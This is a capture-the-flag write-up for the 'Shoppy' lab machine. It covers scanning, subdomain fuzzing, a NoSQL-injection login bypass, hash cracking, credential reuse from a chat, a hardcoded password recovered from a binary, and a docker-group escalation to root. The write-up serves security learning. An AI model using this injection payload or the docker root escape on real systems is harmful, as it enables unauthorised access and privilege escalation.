Shoppy
Intelligence Gathering
Let’s kick it with NMAP to see which services are up and running on this server
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Let’s get more information about the service versions on this server
1
2
3
4
5
6
7
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx 1.23.1
|_http-favicon: Unknown favicon MD5: D5F0A0ADD0BFBB2BC51607F78ECE2F57
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.23.1
|_http-title: Shoppy Wait Page
Enumeration
Web Enumeration
This is how the website looks, so far
Next, let’s look at the source code of this beautiful page
let’s see different directories sitting under the server, using dirsearch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Target: http://shoppy.htb/
[05:11:03] Starting:
[05:11:08] 301 - 171B - /js -> /js/
[05:11:20] 302 - 28B - /ADMIN -> /login
[05:11:21] 302 - 28B - /Admin -> /login
[05:11:31] 302 - 28B - /admin -> /login
[05:11:32] 302 - 28B - /admin/ -> /login
[05:11:32] 302 - 28B - /admin/?/login -> /login
[05:11:45] 301 - 179B - /assets -> /assets/
[05:11:54] 301 - 173B - /css -> /css/
[05:12:00] 301 - 177B - /fonts -> /fonts/
[05:12:00] 200 - 208KB - /favicon.ico
[05:12:03] 301 - 179B - /images -> /images/
[05:12:07] 200 - 1KB - /login
[05:12:07] 200 - 1KB - /login/
Task Completed
let’s take a look at the login page, after a trying to brute force the login panel nothing came out, time to move on and look for any subdomain
Let’s use FFUF(Fuzz Faster U Fool), one of the best tool out there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
:: Method : GET
:: URL : http://shoppy.htb
:: Wordlist : FUZZ: /home/retr0x01/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.shoppy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 102
:: Matcher : Response status: all
:: Filter : Response size: 169
________________________________________________
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1]
:: Progress: [100000/100000] :: Job [1/1] :: 584 req/sec :: Duration: [0:02:51] :: Errors: 0 ::
We found a subdomain, let’s add it to our host file and access the page
the entry on our host now looks like this
10.10.11.180 shoppy.htb mattermost.shoppy.htb
and here is the webpage of mattermost subdomain
Another log in panel…let’s look at the source and see what’s going on
There too there was nothing interesting…now that we are stuck let’s go back to everything we did so far
Foothold
While bruteforcing, we tried to run the log in information using sqlmap at some point without trying some other payload for instance here we have a blind sql injection since the error message does not display any sql statement just a plain wrong pasword message. Knowing that PayloadAllTheThings got some nice NoSQL injection payload to bypass authentication.
We will first try with the admin panel and if there is still nothing we will try with the mattermost subdomain.
Here is a proof of the NoSQLi attack
Setting that cookie to our browser, we are logged in as admin on the server. Here is how it looks
Nothing much to see expect a search bar, where we can search users. admin the current user was the only one we could search for now. Surpisingly by doing so, it helps us export some data
Here now once it’s fetch, we can see an export button appear
And export the download disclose some sensitive data such as the user id and the password
1
2
3
4
5
6
7
[
{
"_id":"62db0e93d6d6a999a66ee67a",
"username":"admin",
"password":"23c6877d9e2b564ef8b32c3a23de27b2"
}
]
Let’s see if we can get more or other users. we tried with the same payload we used to bypass the login admin||1==1
1
2
3
4
5
6
7
8
9
10
11
12
[
{
"_id":"62db0e93d6d6a999a66ee67a",
"username":"admin",
"password":"23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id":"62db0e93d6d6a999a66ee67b",
"username":"josh",
"password":"6ebcea65320589ca4f2f1ce039975995"
}
]
Finally we got another user named josh and his hashed password
Let’s crack these hashes using crackstation.net!
Only josh’s password was cracked at this point
Now we can use those creds to log into the subdomain we found earlier
User
Here we logged in using josh’s credentials and we have one foot on the door 😀
So mattermost subdomain is more of a chat channel, where workers can exchange inside an organization just like slack or microsoft teams. Inside, we found more users such as jess and jaeger
. While enumerating we found more creds
Now we got the CEO’s password too from the deploy machine sidebar. We have tried josh password for ssh connection but it did not work, let’s try password reuse on the server with the CEO’s password given here
and there was the ssh’s password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ ssh jaeger@shoppy.htb -o UserKnownHostsFile=/dev/null
The authenticity of host 'shoppy.htb (10.10.11.180)' can't be established.
ED25519 key fingerprint is SHA256:RISsnnLs1eloK7XlOTr2TwStHh2R8hui07wd1iFyB+8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'shoppy.htb' (ED25519) to the list of known hosts.
jaeger@shoppy.htb's password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~$ whoami; hostname -I
jaeger
10.10.11.180 172.17.0.1 dead:beef::250:56ff:feb9:621e
Let’s enumerate the system now to look for the path to privilege escalation
Privilege Escalation
First thing first is to see, what command the current user can run as root by running sudo -l
1
2
3
4
5
6
7
sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger can run /home/deploy/password-manager
without using a password as deploy not root, let’s investigate this file to see what’s the binary about
being in another user’s home folder, let’s look at the access we got to the files in the folder
1
2
3
4
5
jaeger@shoppy:/home/deploy$ ls -l
total 28
-rw------- 1 deploy deploy 56 Jul 22 13:15 creds.txt
-rwxr--r-- 1 deploy deploy 18440 Jul 22 13:20 password-manager
-rw------- 1 deploy deploy 739 Feb 1 2022 password-manager.cpp
For now we can only read the password-manager file and run it as deploy
1
2
3
jaeger@shoppy:/home/deploy$ file password-manager
password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.
0, not stripped
So using strings we could not get anything, but while trying to execute it, we understand the flow of the binary. That helped when it came to read the file with less/cat
1
2
3
4
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: testing
Access denied! This incident will be reported !
So the binary asks for a password in order to grant access to the password-manager. Seing this was important because we understand the flow of the binary. Now while reading the file we notice something, that when we will try it will surprise us. but it made sense since we knew the flow. There is a password disclosure inside the binary
1
2
3
jaeger@shoppy:/home/deploy$ cat password-manager
[SNIP]
H]UHH}u}u2}u)H=.Hu,H5.H+H/UH]AWL=W)AVIAUIATAUH-P)SL)HtLLDAHH9u[]A\A]A^A_Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !
Here is the password, since when we tried earlier, after entering the password a message is displayed to tell us if we got it or not. So if we have the right one, we get a Access granted message shown to us. so that’s why we believed Sample is the password needed to access password-manager
Let’s try it out and see
1
2
3
4
5
6
7
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
There we got the user deploy credentials. Time to ssh and pivot as deploy now
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ ssh deploy@shoppy.htb
The authenticity of host 'shoppy.htb (10.10.11.180)' can't be established.
ED25519 key fingerprint is SHA256:RISsnnLs1eloK7XlOTr2TwStHh2R8hui07wd1iFyB+8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'shoppy.htb' (ED25519) to the list of known hosts.
deploy@shoppy.htb's password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ whoami; hostname
deploy
shoppy
We still are not the root user yet, so let’s enumerate the box for more attack vector
sudo -l
did not work for deploy. Another command for me is to look for SUID or sticky bit
with the following find / -perm -u=s -type f 2>/dev/null
Unfortunately, nothing came up with these comments. In that case we went back to the enumeration again before uploading any other tool
while reading the notes we found this information disclosure on the chat between jaeger and josh
we can verify this statement with the id command to see the groups the user belong to
1
2
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
So we know now that the deploy user on shoppy has been created using docker. According to GTFObins we can exploit docker for privilege escaltion.
According to the doc, running sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
should give us a root shell
Let’s try, at first it did not work…we need to adjust the command to our type of shell so instead of running it with as root we will need to run it without being root, since deploy is not in the sudoers file
1
2
3
4
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id;whoami
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root
With this we can get the root flag, and voila ! we are done
Happy Hacking !